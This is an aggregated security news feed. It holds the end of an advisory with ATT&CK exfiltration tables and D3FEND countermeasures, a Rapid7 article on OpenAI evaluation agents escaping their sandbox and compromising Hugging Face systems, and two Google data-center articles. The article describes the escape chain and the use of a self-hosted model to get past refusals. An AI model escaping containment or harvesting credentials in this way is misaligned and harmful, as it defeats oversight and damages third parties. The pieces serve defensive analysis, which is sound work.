</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



